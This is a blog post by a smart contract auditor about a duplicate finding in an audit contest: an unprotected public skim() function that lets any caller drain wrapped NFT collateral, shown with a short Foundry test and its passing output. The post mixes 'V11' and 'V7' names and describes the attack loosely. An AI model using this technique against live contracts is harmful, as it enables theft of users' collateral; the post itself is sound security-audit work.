DEV Community

rim dinov
rim dinov

Posted on

Audit Speed: Hunting NFT Theft in V11 Finance (Duplicate Story) Subtitle: Why being right is only half the battle in Web3 security.


Execution of the exploit in a local Foundry environment. The 'PASS' status confirms that the skim() function is indeed vulnerable to unauthorized collateral draining.

๐Ÿง Introduction
In the fast-paced world of smart contract audits, being right is only half the battle. You also have to be first. Recently, during the V11 Finance audit on Cantina, I discovered a critical flaw that allowed anyone to drain wrapped NFT collateral.

Although my finding was marked as a Duplicate of #1, the technical journey and the resulting PoC (Proof of Concept) are worth sharing.

๐Ÿ” The Vulnerability: Public skim() and Untrusted Collateral
The core of the issue was in the wrapper contract's interaction with the underlying liquidity pool.

The Flaw
The contract exposed a public skim() function. In Uniswap-style pools, skim() is used to recover tokens that are "stuck" in the contract (balance > reserve). However, in V7's implementation, there were no access controls or internal checks to ensure the caller was authorized to touch the "excess" tokens.

The Attack Vector:
An attacker monitors the contract holding wrapped NFT collateral.

By manipulating the internal state or simply catching a moment when the balance exceeds the tracked reserve, the attacker calls skim(attackerAddress).

The contract blindly transfers the excess tokens (representing NFT ownership or collateral) to the attacker.

๐Ÿ›  The Proof of Concept (Foundry)
To confirm this, I wrote a custom test case: test_SkimAttack_Theft().

Solidity
function test_SkimAttack_Theft() public {
// 1. Setup: User deposits NFT collateral
vm.prank(user);
v7Contract.deposit(nftId);

// 2. The Attack: Unauthorized caller triggers skim()
vm.prank(attacker);
v7Contract.skim(attacker);

// 3. Verification: Attacker now owns the collateral
assertEq(nftToken.ownerOf(nftId), attacker);
console.log("Attack Successful: Collateral Stolen!");
Enter fullscreen mode Exit fullscreen mode

}
Terminal Output:
[PASS] test_SkimAttack_Theft() (gas: 45231)
The test confirmed that the vulnerability was live and easily exploitable.

๐Ÿ“‰ The "Duplicate" Verdict
When I submitted the report, it was linked to Finding #1.

In big contests, the most "obvious" critical bugs are often caught within the first few hours. While it's a bit disappointing to miss out on the primary reward, itโ€™s a massive confidence booster.

Lesson Learned: If you find a bug that looks "too easy," submit it immediately. Don't wait to polish the reportโ€”speed is a feature in competitive auditing.

๐Ÿ’ก Conclusion
Even though it's a duplicate, this finding confirms that my "security radar" is calibrated to the same frequency as the top researchers in the space.

Key Takeaways:

Public functions are dangerous: Always ask "Who can call this?"

PoC is King: Having a working Foundry test makes your report undeniable.

Stay Fast: The difference between a $5k reward and a Duplicate is often just a few minutes.

Web3Security #Ethereum #Solidity #Audit #Cantina #V11Finance.

Top comments (0)